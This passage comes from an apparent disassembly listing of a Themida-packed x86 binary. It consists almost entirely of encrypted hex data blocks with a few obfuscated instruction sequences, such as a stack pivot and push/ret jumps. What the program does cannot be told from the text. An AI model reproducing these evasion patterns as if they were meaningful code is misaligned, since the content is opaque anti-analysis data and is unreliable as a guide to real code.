6FA79D34h, 0D427h, 23E03400h, 0D996144Dh dd 16894226h, 0F963F793h, 0DF52A2Ch, 0C063A45Dh, 4649B2Fh dd 8DD10A4Bh, 0FC40F979h, 4EA26503h, 1881BAB8h, 6C3D2BD4h dd 2C05C210h, 4127D82Ah, 0EAA2D70h, 2A2CFD7Ah, 0E72B64F5h dd 93975018h, 34B77A7Bh, 2CFE0498h, 0FD6B962Ah, 1D90C95Ah dd 1023B081h, 5324B534h, 0A366677Fh, 27CEA507h, 884BDC3Ah dd 0CFA0D234h, 0D96D098Ch, 542A2FA2h, 0C0468AC3h, 0A692E9B2h dd 9C17E0B9h, 93B4Eh, 6111FB00h, 0E4867C90h, 6901FF13h dd 0EB7D8498h, 7200061Ah, 0FA578CA1h, 8195660Ch, 91DEE82h dd 8FA374FCh, 0C527F870h, 0C950E480h, 6DCB3047h, 452DD91Dh dd 12AE3174h, 2A2CF97Eh, 0F3377001h, 488B5C0Ch, 0BCA04950h dd 70A9AD4Fh, 119F2h, 5119E93Dh, 0AB1E5798h, 101FD60Fh dd 510A9B34h, 41142DC5h, 68BC0130h, 0A0C52D9Eh, 2FB0F590h dd 95D1659Eh, 0A7FD29CCh, 6CDED66Fh, 0B8C129EEh, 0E8A1C738h dd 0B0DD16A7h, 0E1h, 9B26D9B2h, 2F16CF7Bh, 0A96CFDEFh dd 3F0E8CB1h, 0FF3876FEh, 0BEB45296h, 0C43E9205h, 93E16DA6h dd 762A2C54h, 0FA8EE422h, 0E5296208h, 3A7D4E1Ah, 195220E6h dd 853E2AD5h, 0A5686981h, 3832CE22h, 2D44C85Ch, 1EB2432Ah dd 8ECF88E2h, 7546E255h, 0F834106Ah, 4B059935h, 0F7883041h dd 0A9C19566h, 0C662E5A8h, 30414B32h, 0BA4EEAADh, 3530414Ah dd 67DA13A4h, 28075ACBh, 8FB8F3Ah, 0DD6EAF68h, 0BE43971Ah dd 801159A7h, 6F030347h, 0F67C8A9Eh, 0B9EA382Dh, 9CEA65E0h dd 814h, 0B788EA22h, 3A0B5FA3h, 0BF90DA26h, 411256ABh dd 0C899D92Dh, 0E5210EB3h, 5BA8BC8Dh, 0D5304415h, 49B6CA9Bh dd 0A7EC4E1Fh, 47CA770Bh, 4494F230h, 0C0AA56AAh, 0AFC34387h dd 8C35CADEh, 11A271CFh, 29FA8BE4h, 4226D9DBh, 2C1E1689h dd 11156932h, 5756C7FFh, 459BEF19h, 3137C80Ch, 73748C60h dd 0CCC314B0h, 35C63410h, 0A1C7387Ch, 2243BCD0h, 0F9778CE1h dd 0DA6EAF68h, 0FCB5462Ch, 0F6E7F770h, 98DE32B9h, 0B5B34CA0h dd 0A1C7387Ch, 2543BCD0h, 0D947E06Ch, 0DB1EAB7Fh, 0DA28BC58h dd 12A3AB7Fh, 362145D9h, 0BACE9FC9h, 0DE6A2345h, 0AB7FDA41h dd 0E077EFC5h, 6478491Fh, 80F5269Bh, 0B95E44C0h, 0FE8F2048h dd 4E1AE73Bh, 90A8AC15h, 8A78CC8Fh, 18B427E0h, 0A8DA8D84h dd 0ACE57607h, 0B1389D39h, 0C455B2BDh, 0A95CB0F3h, 11824020h dd 36C79B6Dh, 0E0E1F9FDh, 0A334811Dh, 0C519ACC9h, 34783141h dd 0D50E9FD1h, 8F23BF82h, 0AA8DA92h, 0A32FE879h, 0A8DA930Ah dd 75FC7AE0h, 0E840B1D2h, 3F3C5h, 41C4C700h, 6124253Dh dd 0F9AE42DEh, 0F9312A2Ch, 8DA823E5h, 3D7607F1h, 0CF347CAh dd 2962A35Ch, 10B4DC9Dh, 4820B134h, 306622FAh, 0B45C74AFh dd 7A958D8h, 19DC6DC1h, 2B05347Dh, 0CF8819BBh, 75FB085Ch dd 0C1BB123Dh, 0E51EEDE4h, 5C8C9E1h, 218B2669h, 0C78A1BB5h dd 31714C44h, 0F9C23F04h, 0E5837CC0h, 69FF0014h, 0A2F6A1A0h dd 1967E267h, 680h, 4B1C56B6h, 0CE9FCB37h, 532446BAh, 0D5A6C23Fh dd 5C2D45C1h, 51B59247h, 0C73C5021h, 41C4D8A9h, 0B54A5E2Fh dd 3B80E2B3h, 47CC0B9Fh, 0E0308E30h, 3D000119h, 0F98A1EBAh dd 74052A2Ch, 0DB2CC83Bh, 4E341001h, 3FC004BDh, 0EB6E6629h dd 5A9DAACFh, 4D75DE17h, 76F93F37h, 417C46DAh, 0CA35C930h dd 13A4E59Eh, 0BDBED6DAh, 840D5EFAh, 0EF803A24h, 89B1A92Ch dd 0F7D83C99h, 0A7B04420h, 9A2B2A2Dh, 4DFF0062h, 85BE265Ch dd 0EDC9C104h, 64F9806Fh, 40D47033h, 0BB2A2D8Bh, 52ADF12Ah dd 31C561E4h, 0AC2A2D8Bh, 8AAB3F1Bh, 9D2E2A2Dh, 0F00F530Ch dd 5CC0BF78h, 0B6B24D1Ah, 19AAA2E5h, 0F1D3DCDFh, 0CF72ACE5h dd 0C2699321h, 2B4h, 119C4h, 9C66BA3Dh, 690995CEh, 1C3417CBh dd 9274C88Bh, 0BFB0FE0h, 3DCE9C64h, 43BD1184h, 0C362EE27h dd 263047C7h, 4406712Eh, 70A9A56Fh, 0CC95D32Ch, 195EAE93h dd 75F341BCh, 0C1000005h, 4256274Bh, 0C5D9AAC0h, 4A5E2F3Bh dd 0CCE0B1B7h, 5267383Ah, 2C46C0ADh, 0B4BC475Bh, 3A36CFE3h dd 0BEAA5569h, 0AA468BEDh, 3047CD16h, 0AAEB3B99h, 6BFA956h dd 70293FC2h, 61659E2Fh, 0E9854849h, 3417CB49h, 7FF2AB3Ch dd 0D396DA2Bh, 47C7A337h, 5C952630h, 0B081E718h, 4205639Ch dd 0C78F23BFh, 760A3047h, 0B94DDE8Ch, 83EC254Dh, 0EFA8C03Fh dd 4EEA8CF0h, 0C79B2FCBh, 8D1E3047h, 0D2EF1054h, 0C44256D3h dd 0A467F8D0h, 0EEF18521h, 0DB6C3047h, 741721A2h, 216FAE11h dd 0CF3235CDh, 0E9FE099h, 0AEDB1455h, 1CCh, 9B26D9B0h dd 194D0A42h, 39F283A4h, 8D5E0AF5h, 0DDA0A1B9h, 3AF37789h dd 0B14DC0F9h, 341102C8h, 264AB90Dh, 3BD79AEDh, 3041E1A7h dd 3D009122h, 0E9541A45h, 1AB6ABF2h, 3041D486h, 0AEE77809h dd 0D521B945h, 4EB33041h, 0E91D611Ah, 0E135D089h, 0AFD02E85h dd 0ED023F85h, 0C2A40A5Ch, 0B347E366h, 363041ABh, 8F326CA5h dd 826FA7CAh, 44h, 0AC56AA84h, 92D82ABEh, 393D5559h, 0A7E8A1C9h dd 7CD05316h, 8622E583h, 2A2CF9F2h, 17A3DC6Dh, 34101FDEh dd 0CD5912A3h, 30411435h, 9670C409h, 20DF23DCh, 0EA7EB748h dd 3642E58Ch, 0A0356FA7h, 37000000h, 894226D9h, 0F8B1C145h dd 641D4BB4h, 0B889DF20h, 2C060E5Ch, 0FA095D2Ah, 346961CFh dd 5BECE07Ch, 0F9DBBAA2h, 2B3C7Ah, 0DF2366Fh, 9EB68A5Bh dd 473EDA9Dh, 0A2341419h, 7DB6B44Eh, 82D6992Ah, 91DEE84h dd 0DD1DCEFDh, 0DC63D4D8h, 5453824Bh, 0DD58E6ADh, 3BF8Fh dd 0DD957700h, 600AF80Ch, 0E5857B8Fh, 67010014h, 0EE848296h dd 76D3081Dh, 0FD11E290h, 85996A06h, 0B1FF080h, 41A374F4h dd 0CECC60FCh, 0F14F3047h, 452DD9A1h, 29DD3174h, 0F9E77B17h dd 0D1622A2Ch, 3CC30740h, 0D90D5B2Ch, 0A3C23F26h, 0EB7C0D5Dh dd 0A03CBF32h, 2A2CFA0Ch, 6206FB8Fh, 9ED768A9h, 0F2C3A55Ah dd 4205061Eh, 0F3B318EEh, 2A6D9E47h, 92053ECFh, 10B891F6h dd 8D29EC34h, 304180F9h, 9952E374h, 4180730Dh, 0F074A30h dd 82C5D9B2h, 0EB7FB863h, 3041C8Bh, 0A03FA440h, 469A3A24h dd 0B5F6AFB9h, 0C798297Ch, 6AD63084h, 2D923ACEh, 9324B52Ah dd 37CB67DAh, 0B22A2D92h, 0D9579021h, 181026D9h, 28B321E2h dd 12A682AEh, 8D2A2DCEh, 6EB26BFCh, 3206D791h, 0BA56191Ah dd 3410FED1h, 5EEAA334h, 3041DDC6h, 0FE01559Ah, 0D99D316Ah dd 0A7FCF598h, 3CE86Fh, 19EA0000h dd 0A13D0001h, 34102068h, 8322AEDh, 5493B5FFh, 7B790DE9h dd 38D43041h, 30417BA4h, 5FF39627h, 0CE0FC8A0h, 67F3AC3Dh dd 30417BCFh, 38393DA3h, 6FA79E95h, 0E588h, 26D98A00h dd 0F9E07410h, 956A2A2Ch, 0E9F30D3h, 3559534Bh, 48F1D02Ch dd 0E8214FB4h, 0A7CB3B7Fh, 31C561E4h, 0AC2A2DCAh, 4D2F0474h dd 1BAC368Eh, 0CA3579E2h, 5EA1E59Eh, 8FDD390Ah, 92A2C66h dd 10A440F6h, 8B2A2D5Eh, 559869FAh, 9B6A0501h, 0C70B44D5h dd 4773038h, 0E0194FB0h, 46C0C4DCh, 3CD89B2Ch, 34108DE3h dd 3004D566h, 541718h, 0D29E6700h, 8E47D819h, 5A1144Dh dd 3A28050Ch, 0A9FDC051h, 144155Dh, 5B1454ADh, 699DE11Ah dd 0EC234009h, 219CE0B9h, 1EFD3h, 0ADC54700h, 303AC8DCh dd 0B5B54B5Fh, 3731D0E4h, 0BEB45266h, 4623D8EDh, 0CDE1B2C0h dd 55693A36h, 0DBEFC0B0h, 11734424h, 0D09C30CCh, 0C11F3047h dd 9E2DD971h, 0BF625433h, 0E1A435FEh, 4C9B09E9h, 79B2818Ah dd 4D1BE4F8h, 0B2AA2E7Ch, 4A0C75Ah, 2A2DF870h, 0C3225AEBh dd 0FC003943h, 9D20E3E4h, 0E20F13A5h, 73ACDE38h, 10A7AEE7h dd 0C13F9334h, 76AFF0A9h, 66D99223h, 0B14DF112h, 30418C1Dh dd 0C57E0FA0h, 27BF4B84h, 0FB30418Ch, 0ED90D195h, 0E06FA7AEh dd 0D3h, 5FB2AAE2h, 1BC42E24h, 44BBFF38h, 0DF276B24h, 4EDA93h dd 7A2A2CAAh, 2820E385h, 0F81A1E57h, 5EEB952Eh, 0A02B9C9Ah dd 4155D60Fh, 0EDF1AABEh, 7511D4D5h, 3410851Ch, 0EBBF9021h dd 7004A0D3h, 0FA304164h, 1C46709h, 4164D165h, 2ABB4C30h dd 7E82D699h, 0B9F233ECh, 20D0AA46h, 0B0333A28h, 2FD88014h dd 316AFB2Ah, 78A4DDEh, 631C4CB3h, 0A78FEA22h, 0A5F097DEh dd 94DE286Ch, 1B57AFC3h, 0B9992F52h, 0CB1994E0h, 0CCh dd 0FFD0A26Ah, 825317EBh, 7D8926Eh, 895A0EF3h, 10E19175h dd 9D69C6FBh, 13F004D5h, 8D788C5Dh, 1FE12E3h, 0EF349667h dd 47D1BF53h, 8CDC3A30h, 565DB2AAh, 312CB730h, 2052B4F8h dd 0A4C43B4Fh, 0C43C90D3h, 0D9EF6DA6h, 45894226h, 9DDAEBAh dd 912DF0F1h, 3417CBEDh, 246FF90h, 869A6BFDh, 0B9484879h dd 0BE4454C9h, 0AE8742Dh, 0B9A07C57h, 0A9560165h, 46894318h dd 7C0DCA9Fh, 0EF1468ABh, 0C487C881h, 0BF49428h, 4D861794h dd 0B972F609h, 0A5358C75h, 3B9070FDh, 7509A568h, 0F8940B6Ch dd 0F51DD667h, 0E7340800h, 6FE5FD35h, 93C4A236h, 172BFC6Ch dd 1EB24EE8h, 0A1940B98h, 53C67F10h, 316A06FFh, 3E3h, 1BAB1300h dd 863F33D9h, 0F2ABBD42h, 601957AEh, 0D089E71Ch, 3FF87A8Ch dd 0AE670BFBh, 18D1976Ah, 853E2CD4h, 0F0A9C141h, 736568EAh dd 2C890000h, 4EC8324h, 68243C89h, 1081h, 68241C89h, 61ACEE6h dd 83243C8Bh, 8B5404C4h, 0C481241Ch, 4, 4EC81h, 4890000h dd 8B824h, 0D8010000h, 0FF583889h, 815B2434h, 4C4h, 243C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55D2A6 ; --------------------------------------------------------------------------- db 90h, 2 dup(1Dh) dd 82B8F548h, 3061AD9h, 10E0FFC5h, 5A5ACF7Fh, 7F2D5533h dd 2D0F3478h, 284F3B7Bh, 0B6755688h, 434E307h, 234CE99Fh dd 1B6DE3E6h, 0F55152D9h, 977125Fh, 9011D5F1h, 0DA4B2324h dd 0E81B1B33h, 12h, 7F0EB223h, 0DAD63271h, 9D360034h, 1572D9E4h dd 0C38BB534h, 0FE85Fh, 980B0000h, 2A442620h, 5D012DCEh dd 0DFE0AD7Dh, 0F18B66BCh, 16C78158h, 0B6000071h, 0F014BB40h dd 0EB8105ACh, 5ACD407h, 0CE960h, 0C14E0000h, 438A0632h dd 0D4035B92h, 8E90A49h, 0D4000000h, 15D5E389h, 617E557Dh dd 0FE90F8Bh, 0BC000000h, 2D62A9Ch, 735EEFE8h, 0A2824AB4h dd 0F181E79Eh, 48837070h, 42C181F5h, 0F7DB6CBh, 580h, 0DC09B800h dd 0F1812B7Fh, 46AAE659h, 5E1F90BEh, 0BA66513Eh, 78F18C6h dd 6840Fh, 0C6810000h, 28373190h, 0B604EF83h, 1EB8181h dd 0F000000h, 1585h, 0C28B6600h, 21E9h, 1FF75A00h, 40F37CC7h dd 6E95B527h, 8166EE83h, 0E918CCD6h, 0FFFFFF84h, 454264AAh dd 49D16h, 8D8D8366h, 61ADB82h, 88A0Fh, 81500000h, 0A02BE1C6h dd 8D895A03h, 6143229h, 64D85C7h, 71A00614h, 0E6800000h dd 7185C795h, 61426h, 8B000000h, 1426819Dh, 14E806h, 0D8030000h dd 0FB393D80h, 0B3C05DA2h, 89AE426Fh, 92327535h, 9D016BB4h dd 6140AD1h, 11B5FF58h, 0F061421h, 95FFC7BFh, 6142361h dd 23A1BD8Bh, 6A0614h, 116995FFh, 0C08B0614h, 0BADD29EBh dd 0A80AC225h, 5CD6DC4Fh, 6CCD7D3Dh, 88FDFC78h, 0AB50184Dh dd 0CF6DB88h, 0BDA0F35Ch, 113E312Bh, 655AB646h, 0E8A26A4Bh dd 14h, 20175F1Fh, 0AE37696Fh, 0E092C664h, 0AD1F1D8Ah dd 279CA73Ah, 9018D89h, 815E0614h, 6F49C6h, 0C6BF0F00h dd 0B9h, 1DBD2900h, 8B06140Ch, 8B0F0E1Ch, 0 dd 0BE4DEB81h, 830F22B1h, 6, 0A499533h, 0EB810614h, 4F463E3Eh dd 3860Fh, 0BF0F0000h, 15F381FBh, 89711526h, 1406618Dh dd 8FF95306h, 0B5010E04h, 6140549h, 8E58D89h, 0E9830614h dd 0E99D8904h, 81061434h, 0FF9144F9h, 0A4850FFFh, 89FFFFFFh dd 143501B5h, 0EE806h, 0FD680000h, 7C2F3CDCh, 0B136FC1Bh dd 53A5338Ch, 6840F59h, 89000000h, 1409D185h, 3FC18106h dd 0E9000061h, 0Ah, 523CB1C6h, 2D8C4B47h, 26BBEEE7h, 0F000018h dd 398BF2BFh, 0C7D8529h, 0EF810614h, 0D5CFF31h, 0CEE2C781h dd 8C0F519Dh, 6, 1725BD29h, 0F7810614h, 9DC0D92h, 1941B58Bh dd 39890614h, 8B03E983h, 141625B5h, 81F54906h, 1EBh, 12850F00h dd 0E9000000h, 29h, 0B9E9375Ah, 7BF01AB8h, 10747925h, 2820F6Ch dd 0B6000000h, 0FF9CE935h, 0A43EFFFFh, 473DEE69h, 0B048A2FCh dd 0E3CFD71Eh, 10E983h, 0CE230000h, 4FD1h, 2 dup(0) dd 0ADE90000h, 68000004h, 61ADDFCh, 0F9A106E9h, 0DE6068FFh dd 0FCE9061Ah, 68FFF9A0h, 61AE00Fh, 0F9A0F2E9h, 239C40FFh dd 0DEDFF4D1h, 9823AF8Ch, 4D6C6946h, 4B91EFBh, 713F79B2h dd 28055766h, 0E1BE10A9h, 9976C8F7h, 202C7E3Dh, 0C4AC9298h dd 0C5C0580Ch, 0F8C5125Eh, 24973F4Ch, 0D888F6D2h, 0FA00C890h dd 51F1E814h, 8DD10028h, 57E51CCEh, 4C145C84h, 5FC6046h dd 0E6D3E358h, 0C3D267B2h, 3CA6D5FDh, 5F914F6h, 5DFD1F58h dd 0D9E11F46h, 30ADFF8h, 17F60000h, 8632874Ah, 4DB3FF2Eh dd 569E42B0h, 0E5020550h, 2B7A5157h, 7770C8A0h, 401DA1D0h dd 247C2891h, 2C97EB8Ch, 0B4B52924h, 7B529A46h, 0C657B496h dd 292F5E15h, 600AFC23h, 0BE6A925Bh, 549C44B2h, 7426594Eh dd 1B638B61h, 0E133884Eh, 0BE9D204h, 351C9215h, 36283620h dd 0E000003h, 0C29FF1CEh, 7D5AAC11h, 37146655h, 0ECC91B9Eh dd 4780D2EBh, 25983F71h, 0DEDBF6D3h, 9629AF8Ch, 4C6F6744h dd 6066EEFAh, 580CC57Ah, 132C938Eh, 0ABB1F9A5h, 57EAC4CAh dd 9C64ACD4h, 58F709CFh, 0C4299D6h, 8C97C65Eh, 4320724Bh dd 377D2994h, 580CBB56h, 0E0BEFDD9h, 3EA4FD4Ah, 0D20715FFh dd 72000002h, 2603556Ah, 0E1BE10ADh, 9B78CAF1h, 502D7F3Ah dd 0ABE43687h, 8934A30Dh, 42775A37h, 0FAC513F0h, 0B00BCBA8h dd 0C4CA525Eh, 580CC5DEh, 1390F7F2h, 5D4349A5h, 7151F1E8h dd 0EEEBF249h, 0FF0AA7F8h, 38191F67h, 4257EB9Ah, 46286E1Ah dd 51580D9Ah, 0ED78132Fh, 11F8D23Bh, 1ECh, 0F7C41228h dd 0B85CD8AFh, 606C9B15h, 469E4A73h, 8157FAEh, 0CEA5EDCEh dd 7B1A9649h, 38487752h, 0FA42EE5Ch, 0E54A61F4h, 0FBA7CF57h dd 629D3B5h, 3B08DE58h, 516E6A9Ah, 86B50DB9h, 0E87D1634h dd 76F8D9ABh, 31C2A8AEh, 0AED65806h, 72197Fh, 17300000h dd 9787840h, 4B7A745Eh, 0E32BD341h, 9A93441Bh, 51CA5174h dd 0A81BDE22h, 9A6757E5h, 7DD5813Eh, 0EA19A230h, 6E4D8966h dd 1C226AC2h, 5806A836h, 428A224Ah, 2D5C6375h, 0A79B7DC3h dd 0D0A65806h, 0A5EDD003h, 6A7B99Fh, 76A5CD58h, 0F86D6624h dd 66F8D931h, 0B3B2989Eh, 933F5806h, 5E247C28h, 2E8EE36h dd 165806B4h, 0D259BFEEh, 70000000h, 0AFF7C412h, 33191FE7h dd 4751F1E8h, 0E7B3991Fh, 9FC751F1h, 0DEF90670h, 0B02633DFh dd 84525F0Bh, 2127EF37h, 51F1E83Bh, 0E7E1C7CDh, 0CDF551F1h dd 0A0B0DF07h, 0F1ECCA8Ah, 0F0CB0B51h, 57EFC69Eh, 58A78E5Eh dd 94020C3Bh, 0FDCA4ECh, 896FF5C8h, 9D51F27Fh, 3A404675h dd 57E755A1h, 0CE9BE30Bh, 8086B50Ah, 0E3E924B3h, 580934FDh dd 0FF51E911h, 3F7C5A27h, 9F858B93h, 0B3580934h, 0B9C4F38Bh dd 73C19F1Eh, 0EA3EA882h, 123F200h, 0BB210000h, 0FED5B204h dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h, 0E6388552h dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580CC7h dd 0C5123FA6h, 812D9043h, 7C499129h, 27376657h, 0DD2F8C4Ah dd 0F7C41224h, 6E983E4Bh, 52AA5663h, 53EBD205h, 4375340Bh dd 751A3DF6h, 0EC5A3646h, 0F525FC44h, 64674C57h, 0CA9298C7h dd 0A416FC02h, 4D2A51F2h, 709F3786h, 0E610C12Ch, 5FA7CF57h dd 26784592h, 6F22E10h, 9823B358h, 37A16E46h, 894E5988h dd 8A7A8834h, 0D1000000h, 0B1F9A513h, 0EAC4BEABh, 0FCA8D057h dd 0B91FE7EFh, 53435A06h, 0E78132DBh, 9FF18921h, 13F9FFC7h dd 27580C2Eh, 11C5D0FFh, 1FF6FEAAh, 0F2D48E0Dh, 0FF437262h dd 21D53640h, 0B521EE06h, 8B4D5A06h, 1B6D9C34h, 0AA11C57Fh dd 605B7B58h, 8B2EA7B4h, 8BFF6C43h, 336893E0h, 0A3459A04h dd 7D894DE7h, 61B96554h, 3C9A77C9h, 0A560377Fh, 216E7E2Fh dd 8B990332h, 11h, 6C4ECC3h, 0D1553FA5h, 5EE4BBA2h, 4C7B4291h dd 0F5CA1265h, 219A3C49h, 4F706875h, 7E3B96A3h, 0AB12C5D2h dd 0D8E5F2FFh, 3B61F2Ch, 33884A57h, 64597A87h, 895233B8h dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 4D0C68h dd 243C8900h, 4E5168h, 240C8900h, 1ADD2E68h, 243C8B06h dd 4C481h, 8B540000h, 0C483240Ch, 8BA5204h, 81000000h dd 1E1993EAh, 81CA012Bh, 1E1993C2h, 5A3A892Bh, 592434FFh dd 0FF04C483h, 835F2434h, 68E904C4h, 7FFF99Ch, 3F784544h dd 1AE157B8h, 0FFC50306h, 6A7B87E0h, 3B177909h, 97222667h dd 3DF8134Dh, 3EE97B1Dh, 99F43E62h, 0E888BB79h, 380A8014h dd 0DF3F862Bh, 54959E68h, 0F28D8D3Bh, 6A061AE2h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 637C356h, 32298D89h, 95330614h, 6140BB5h, 64D85C7h dd 64280614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0C77BCAC3h, 14267185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 113DE840h, 99BD33CBh, 60061421h, 0A58D8960h, 8B061425h dd 141D898Dh, 85296106h, 61400F5h, 91B5FF61h, 6A061405h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0C10C351h, 0CC228136h, 500A329Dh, 0F81B58Bh dd 0FF5F0614h, 14236195h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 7FF140CDh dd 0DA8B113Ah, 5DBD33h, 6A0614h, 116995FFh db 14h byte_5B6ED1 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0054B184o dd 721A7FEBh, 4E6179D8h, 0B771EACBh, 0EDDA9997h, 5D69D55Fh dd 1BF24695h, 54F1C7DAh, 6931BC25h, 0E66212D1h, 8BA73FC3h dd 29F67E94h, 439D8FC0h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah dd 1F055D19h, 9F0013C5h, 1A332BA7h, 2B218799h, 0D23DDBA5h dd 1CDDAF2Ch, 18D99A4Ah, 8930CB3Ch, 3D1890D7h, 80547641h dd 0C9A8B459h, 781F0257h, 83FDD9B9h, 18AB40C7h, 0DB1F5B8Eh dd 0EF2E510Fh, 3F80CA04h, 0A18D8DDAh, 6A061AE4h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B6D4C356h, 324B2D08h, 0FE918h, 0CE590000h, 35A932A2h dd 0BDFADD15h, 6008138Dh, 0DDB58BD1h, 89061402h, 1432298Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0B9ADEC1Eh, 166131C4h, 9533EE11h, 614235Dh dd 0EE9h, 0F616EC00h, 0E6EACE11h, 0C00FE4DBh, 0C72FA0F5h dd 14064D85h, 5D9806h, 0B71BF00h, 0BD314110h, 61431CDh dd 267185C7h, 614h, 95890000h, 6142E6Dh, 0C4DB5FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 5BB1BFC3h, 0A7C4B7F8h, 0E840BA36h, 0Fh, 9D2B390Dh, 0D9941C47h dd 94768102h, 0F38897Bh, 38Eh, 0F9BF0F00h, 6195FF58h, 6A061423h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 2885C350h, 0C5C9F65Eh, 3F75201Dh, 6DDF8166h dd 0FF006AC9h, 14116995h, 0EBC08B06h, 0E3BD284Ah, 38A83DE9h dd 355F8D31h, 0E6AB166Bh, 3A6BB97Ah, 197E4175h, 5004EDB1h dd 5AB5EA67h, 0D28146A2h, 4BE24048h, 34FE8419h, 236542C4h dd 0BB76DE8Ah, 0C8927E18h, 637D83D3h, 0A93B9CFBh, 0C0C0D46Ch dd 0CC3D65FCh, 0E8995766h, 6, 0BB8CB9A5h, 0F55BFFEEh, 5CA6C381h dd 810F0000h, 6, 2E418589h, 0FABF0614h, 89000016h, 1430F18Dh dd 8B038B06h, 140D3595h, 1EC08106h, 6053B31Ch, 8B53C3B3h dd 816159CEh, 933E0E8h, 12E94Eh, 55150000h, 2C4B2726h dd 0A75B3616h, 41AF2057h, 53A938F0h, 7FA6F081h, 0FE97A9Dh dd 0B6000000h, 0A8E2B756h, 7BE0A9D7h, 0BC2781B5h, 8B503EBBh dd 0E9038FF2h, 0Ch, 27388ED7h, 0B192F1FDh, 0F6DE0A50h dd 6604EB83h, 81DA23B9h, 1EFh, 11850F00h, 66000000h, 0E9ED7CB9h dd 1Eh, 24D1431Fh, 5F21F38Bh, 200BBE66h, 0FFFF70E9h, 0C9F9FFFh dd 0D0F64717h, 6DD4B708h, 11E8C9F8h, 7C000000h, 3E25AEA6h dd 66AEA9BDh, 0BF0C2751h, 37CE5484h, 0F08B6659h, 75CCC181h dd 0C38A0000h, 0BFh, 0C6B70F00h, 8A0F34FFh, 89605AFCh dd 1400919Dh, 0C5858906h, 6106141Bh, 0DEE8EA81h, 0E3812AE2h dd 12319672h, 13E2F281h, 81660517h, 814387D0h, 0C7BC23F2h dd 0C28B6642h, 0B1B50152h, 8F06140Bh, 860F3904h, 3, 0F89E080h dd 688h, 49B52300h, 83061419h, 84BE04EFh, 8154C9B3h, 0FF8AF4FFh dd 1A850FFFh, 89000000h, 1422DD85h, 2DE906h, 28D90000h dd 4FFCA2h, 0BDCA5BFBh, 0F80CD2DDh, 0C314B84Eh, 75E91D07h dd 0ACFFFFFFh, 769CC805h, 0A4327FB9h, 51BA61ADh, 3F50EC13h dd 8DF22E6Ah, 1AE75D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0A53FD16Ch, 4B10A967h dd 2DB58977h, 66061400h, 8D89F98Bh, 6143229h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9AC35747h, 64D85C7h dd 72840614h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 0EADE56C3h, 0BB74DA96h, 0FA37636h dd 0B86h, 58D0F00h, 66000000h, 5B76EF81h, 267185C7h, 614h dd 0D3810000h, 599E9B88h, 0C4DB5FFh, 6A0614h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 7BCE50C3h dd 0AE01AC6Bh, 0FFDA8B4Eh, 14236195h, 0FF006A06h, 14116995h dd 0EBC08B06h, 0EDC9EE4Ah, 88A98F8Ch, 899C3179h, 6252799Bh dd 8728E4A6h, 0FAAEB506h, 25439360h, 9EB3C1B1h, 0B0D49C86h dd 0AB5CE4CAh, 0E6904A4h, 18D02664h, 9A6E7A7Dh, 0A3A39605h dd 86DC5F5Eh, 0C9F333B2h, 8F9FD838h, 2C6AF582h, 8DAC6127h dd 1AE8918Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 1D293DF0h, 298D89FCh, 6A061432h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7F7AC357h, 895A1C0Dh, 1425F59Dh, 4D85C706h dd 0F0061406h, 6A000072h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 7CE9C357h, 1A20FC8Dh dd 0F2C3088h, 687h, 59B58900h, 2906140Ch, 1420318Dh, 0F8BF0F06h dd 267185C7h, 614h, 6E90000h, 7000000h, 13D61DCBh, 4DB5FF2Bh dd 6A06140Ch, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 1A68C357h, 65C956C0h, 0FF44DF78h dd 14236195h, 0FEBB6606h, 0FF006A36h, 14116995h, 0EBC08B06h dd 0AC02324Ah, 7138684Eh, 0F34C4295h, 75735510h, 0F1E1F080h dd 4D30CF2Eh, 0CDDAF9D0h, 2E9B4813h, 0DDB169D1h, 0DE8E253Eh dd 0FB623912h, 6712B7Dh, 0C16D20Fh, 1D4B467Ch, 41274C56h dd 20D9D2B8h, 979F3011h, 0C4F623B1h, 8D8615B4h, 1AE9758Dh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 8D9D3111h, 89061421h, 1432298Dh, 6E906h dd 5AA90000h, 4BC8BA6Eh, 2B99589h, 85C70614h, 614064Dh dd 6074h, 0C359D89h, 85C70614h, 6142671h, 0 dd 955B589h, 0B5FF0614h, 6141071h, 236195FFh, 6A0614h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 434AD7C3h, 0C3F22D2h, 0FF006AB7h, 14116995h, 0EBC08B06h dd 1D7A820Fh, 653A7B4Fh, 10BAE66Bh, 2C1C3F32h, 0BE8h, 0C2231D00h dd 0C22737A8h, 0C5A7A984h, 36A1B966h, 0D7BF0F5Bh, 5E42C381h dd 81660000h, 6838D8F2h, 